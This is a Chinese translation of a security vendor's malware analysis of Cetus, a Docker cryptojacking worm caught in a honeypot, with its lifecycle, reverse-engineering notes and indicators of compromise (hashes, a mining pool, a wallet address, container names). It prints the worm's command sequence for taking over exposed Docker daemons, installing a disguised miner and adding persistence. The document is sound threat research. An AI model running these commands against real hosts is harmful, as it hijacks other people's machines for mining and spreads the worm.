译者:知道创宇404实验室翻译组
原文链接:https://unit42.paloaltonetworks.com/
摘要
自容器诞生以来,安全专家就将不安全的Docker daemons 称为主要威胁。我们最近还撰写了有关Graboid(第一个Docker密码劫持蠕虫和不安全的Docker daemons)的文章。我通过设置Docker daemons蜜罐进行了进一步的研究,以研究在野外寻找普通Docker daemons的情况,并了解由COVID-19导致的向云的转移是否增加了针对性云攻击的普及率和复杂性。
本文将详细介绍Cetus的发现,Cetus是针对Monero的一种新的和改进的Docker密码劫持蠕虫挖掘,可在我们创建的Docker daemons蜜罐中找到。
蜜罐
为了进行研究,我设置了受限的Docker daemons,并记录了5月份的所有流量。在这段时间里,我目睹了各种各样的攻击,从僵尸网络到蠕虫,一切都在进行,其中大多数是为了进行加密劫持,特别是对门罗币。
最常见的攻击之一引起了我的注意,因为它具有蠕虫的潜在特征。与其他攻击不同,蜜罐在这里受到来自许多不同的不安全Docker daemons实例的攻击。根据我的honeypot部署和其他有关容器安全性的研究项目,看到蠕虫针对不安全的Docker daemons的情况并不常见。我分析有效负载,并确定这是一个新的Docker蠕虫:恶意软件的每个实例都试图发现和感染本地网络和外部的其他Docker daemons实例。
Cetus如何运作
在希腊神话中,有一个关于鲸鱼样生物的故事,该生物看起来无害,但实际上是一个海洋怪物,无论到哪里都造成破坏。该生物的名字是塞图斯。由于该恶意软件针对Docker,并试图伪装成合法的二进制文件,因此我决定将其命名为Cetus。
Cetus通过伪装在Docker环境中经常使用的称为Portainer的合法二进制文件来伪装自己。Portainer是一个用户界面(UI)管理工具,它提供了一种方便的方法来管理多个Docker环境。在接管新机器时,Cetus将自己复制到受害者并部署XMRig cryptominer有效负载。Cetus将加密矿工伪装成另一个称为docker -cache的合法二进制文件。它看起来像合法名称,但与Portainer不同,它不是真正的二进制名称。
Cetus生命周期从两个功能开始:miner_start和scan_start,它们遵循此处所示的流程。 最后一步是使受害者创建一个Ubuntu容器,更新存储库,安装Masscan和Docker,复制Cetus和XMRig,通过.bash_aliases添加持久性,然后重新启动容器并运行Cetus。
感染机制简单有效。Cetus使用Masscan随机扫描子网以查找Docker daemons,一旦找到子网,它就会尝试通过将请求发送到守护程序的REST API进行传播。为了增加侮辱性伤害,Cetus使用Docker命令行界面(CLI)工具精心设计了这些请求。
Cetus的攻击流程如图1所示。具体地说,Cetus运行的命令是:
- 检查守护程序是否可利用且未被感染:
- 从Docker Hub 运行一个新的ubuntu:18.04容器:
docker -H <victim> run -dt --name <name> --restart always ubuntu:18.04 /bin/bash
- 更新程序包管理器列表:
docker -H <victim> exec <name> apt-get -yq update
- 通过软件包管理器安装Masscan和Docker:
docker -H <victim> exec <name> apt-get install masscan docker.io
- 将恶意的portainer和docker-cache二进制文件复制到容器中:
docker -H <victim> cp -L docker-cache <name>:/usr/bin/docker -H <victim> cp -L portainer <name>/usr/bin/
- 将Cetus添加到“ /root/.bash_aliases”。每当容器重新启动或root启动bash会话时,它将导致Cetus运行:
docker -H <victim> exec <name> bash --norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null &
- 重新启动容器以运行Cetus:
docker -H <victim> restart <name>
逆向工程Cetus
逆向工程Cetus简便快捷,因为它不使用任何反调试或混淆技术,甚至没有符号。矿工则不是这样。XMRig矿工是用于加密劫持攻击的最广泛使用的加密矿工之一,因此安全工具将其视为病毒。因此,为了在这次攻击中欺骗他们,将其完全模糊了,使反向工程过程变得更加困难。
此外,我们可以断定该恶意软件是新的,因为它使用了2020年2月2日发布的XMRig 5.5.3。
Cetus的体系结构很简单。它包含两个主要功能:
miner_start和scan_start。
“这里显示的代码如下:miner_start(); while(1){random = rand();以及其他未在此处以明文形式复制的行。此代码启动了Cetus的两个主要功能。
miner_start函数很简单。它打开/var/log/stmp.log来记录Cetus的操作,然后运行XMRig cryptominer,该工具利用机器的CPU来挖掘Monero。
函数scan_start更加有趣,它执行了恶意软件的核心功能。它选择一个随机的16位子网,然后运行Masscan以便在子网中扫描端口2375上的Docker daemons。找到守护程序后,它将使用已下载的Docker CLI工具启动感染过程。
关于恶意软件的一个有趣的事情是,每次感染Docker daemons时,它都会使用不同的名称调用容器。它有两个包含八个名称的列表,并且从每个列表中随机选择一个名称并将它们链接起来。
此图包含Cetus使用的名称示例,包括boorish_peristeronic,verdant_quire和limpid_oxter。
然后Cetus将以名称作为参数运行矿工。矿工将使用此名称向采矿池标识自己,并向参与者发送有关采矿的信息。这将使攻击者可以对每个矿工进行分类,并通过挖掘池API创建有关矿工和活动的统计信息。
我们可以从此和日志机制得出结论,该蠕虫的操作员希望监视所有内容。
结论
随着攻击者了解云的潜力,针对恶意软件的容器将逐渐变得更加复杂。这是继Graboid之后由Unit 42记录的第二个Docker密码劫持蠕虫。此外,我们还能够将Cetus链接到另一种攻击AWS和Docker daemons的加密劫持蠕虫,这些蠕虫使用与Cetus相同的Monero钱包地址。我们得出结论,对云进行复杂攻击的趋势正在增长。
运行Prisma Cloud的 Palo Alto Networks客户可以通过Prisma Cloud Compute主机合规性保护免受此侵害,该警告会警告Docker daemons配置不足,并提出解决方案。
这显示了Prisma Cloud主机警报的示例,警告Docker daemons配置不足-这个问题可能使Docker daemons容易受到Cetus的攻击。
IOC
档案
文档名称 | SHA256 |
---|---|
docker-cache | e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac |
docker-cache | b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443 |
采矿信息
pool
pool.minexmr.com:443
付款地址
85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh
容器名称
baleful_gormmet
baleful_obelus
baleful_agelast
baleful_amatorculist
baleful_peristeronic
baleful_hirquiticke
baleful_oxter
baleful_quire
boorish_gormmet
boorish_obelus
boorish_agelast
boorish_amatorculist
boorish_peristeronic
boorish_hirquiticke
boorish_oxter
boorish_quire
adroit_gormmet
adroit_obelus
adroit_agelast
adroit_amatorculist
adroit_peristeronic
adroit_hirquiticke
adroit_oxter
adroit_quire
fecund_gormmet
fecund_obelus
fecund_agelast
fecund_amatorculist
fecund_peristeronic
fecund_hirquiticke
fecund_oxter
fecund_quire
limpid_gormmet
limpid_obelus
limpid_agelast
limpid_amatorculist
limpid_peristeronic
limpid_hirquiticke
limpid_oxter
limpid_quire
risible_gormmet
risible_obelus
risible_agelast
risible_amatorculist
risible_peristeronic
risible_hirquiticke
risible_oxter
risible_quire
verdant_gormmet
verdant_obelus
verdant_agelast
verdant_amatorculist
verdant_peristeronic
verdant_hirquiticke
verdant_oxter
verdant_quire
zealous_gormmet
zealous_obelus
zealous_agelast
zealous_amatorculist
zealous_peristeronic
zealous_hirquiticke
zealous_oxter
zealous_quire
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1322/